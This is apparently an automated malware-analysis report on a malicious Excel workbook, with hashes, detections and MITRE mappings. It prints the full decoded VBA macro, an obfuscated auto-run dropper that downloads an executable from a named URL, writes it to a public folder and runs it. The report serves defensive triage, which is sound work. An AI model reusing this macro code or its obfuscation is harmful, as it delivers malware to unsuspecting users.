Office (OOXML) malware analysis — malicious · c704cee668058193

MALICIOUS

Office (OOXML)

117.5 KB First seen: 2020-09-07

MD5: 2fb64cb04d1accdb108d99874cde0e43 SHA-1: ebbca2b27963093a2632036122e92b6375e5958b SHA-256: c704cee668058193d6349efff9555def1d296e21350a3a6e1e63acc996a4909a

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a Workbook_Open VBA macro that is obfuscated and designed to execute automatically. This macro uses CreateObject to download a file from the URL "http://reokayty-71.tk/sql/hedrtfw.exe" and save it for execution, indicating a dropper functionality. ClamAV detections further confirm its malicious nature as a dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.write nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6596 bytes
SHA-256: `50bf7290ce7df0988a4df857561ad0c06e2e2673ebec9fa8012861fa68697087`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select mdwqzdxecicghmegskpnuxhieothwoqsbrclpjhljgyrilnfkklnqaqpwnmkkqhorjeqksricddnyqzsbnwmcdbbbmpbxwbtzkzy"68 74 74 70 3A 2F 2F 72 65 6F 6B 61 79 74 79 2D 37 31 2E 74 6B 2F 73 71 6C 2F 68 65 64 72 74 66 77 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub mdwqzdxecicghmegskpnuxhieothwoqsbrclpjhljgyrilnfkklnqaqpwnmkkqhorjeqksricddnyqzsbnwmcdbbbmpbxwbtzkzy (ndhbxalezegvcslbzyysovywlpztzxeujtysgodumnxmszdajftmehgselqiaseczmlittulvdfbxldmlyjudsqcngnvyvtuivmg As String) Dim nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs Range("A6:J13").Select Dim bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc Range("A6:J13").Select Dim nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq Range("A6:J13").Select Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq = CreateObject(hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) gquylelsmmgzlklzuheroslyionwmiqotanevsbziysnonvpdxumqdnnfwqwqpfevsglxhebffipzxjutxspnexpmzzzceittosv = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf(ndhbxalezegvcslbzyysovywlpztzxeujtysgodumnxmszdajftmehgselqiaseczmlittulvdfbxldmlyjudsqcngnvyvtuivmg) hksvttgkvyohmwdtwqrrvqyxifzbxpvlfomifxvuxnuolrmgapwdxbarmvnntfngccbxjunzuxtivjlqstaissoeouwkjiaszomi = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 64 7A 6D 71 65 69 78 70 2e 65 78 65") ppwgbwjzhswcjwuaffnjoxjoxdplwaigwdadwtgwjowwyuannanubcusfhixgxdgjpfgvrdlyraaamqdccywnnfuiixoliplkpmj = hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 61 64 7A 6D 71 65 69 78 70 2e 65 78 65") nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.Open chr(71) + chr(69) + chr(84), gquylelsmmgzlklzuheroslyionwmiqotanevsbziysnonvpdxumqdnnfwqwqpfevsglxhebffipzxjutxspnexpmzzzceittosv, False nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.send bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.Type = 1 bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.Open bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.write nuhqkhqabfuthewcikyhwjvnfznakksczxyqrtjwbpahluotyrmyxejezukluqprmstjfgkoacfginbkktbtyteunurxjyblzjvs.responseBody bensgxyuydvlszabowstnywlonecauhzsjjgfjnavkvkygfjxawdqcecicdstwtewwsipuvfisxdclmiiveaydiqfgxdguhzqroc.savetofile hksvttgkvyohmwdtwqrrvqyxifzbxpvlfomifxvuxnuolrmgapwdxbarmvnntfngccbxjunzuxtivjlqstaissoeouwkjiaszomi, 2 nwtdfquyeaawpvkxstfsocdjwrzokynkxkulbavhijlegbokjjgwlvolskhnrgngnpzeaywryykeqzcudoebrqycwjtqshpcvfrq.Run ppwgbwjzhswcjwuaffnjoxjoxdplwaigwdadwtgwjowwyuannanubcusfhixgxdgjpfgvrdlyraaamqdccywnnfuiixoliplkpmj End Sub Public Function hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf(ByVal cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld As String) As String Dim ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh As String Dim oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit As String Dim dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc As Long For dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc = 1 To Len(cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld)Step 3 ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh = Chr$(Val("&H" & Mid$(cjjlmpynljvtimkdcmowqwirfgyriiikhmstetocslqmozigwmajrvzfbrggqgfdbklvtryiymdfgvdfysuviztmmnrmnilmfnld, dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc, 2))) oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit = oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit & ommfnrkestzgoahymjubqzjgzlvparasjarmfphqopusolymanzwsjmpcgfcvvdbtgwnjvsxbenbeqromjpnrezzncjzjfvtltzh Next dhzbdsvoddznhevsshxyxmukxwdkuvstpvlawevnandghdcnthsxckwqnoegpltilfxltvwnlkxjjndtupqmdurfzvnhapxptvuc hxvstcknxcrgotjwtvlnhdoxdplgbjonqbkesesatodyvjndmf = oldevcuowkklorpmfqjphwagmsnvitqlrkzbfkrojkdcrxlrpjnujjaskwscoygduyuesogvzugwtxpohwgzfwbhkhqjroakezit End Function Attribute VB_Name = "ourwwcvkbtrtreuezhtwjlxnt" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `a29d20325d24f48fa02c3c6b494217128ad9326240a4047144b998bbd7ef9a06`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 127 of 203 identifiers look randomly generated (e.g. 'ourwwcvkbtrtreuezhtwjlxnt') — consistent with name-mangling obfuscation.

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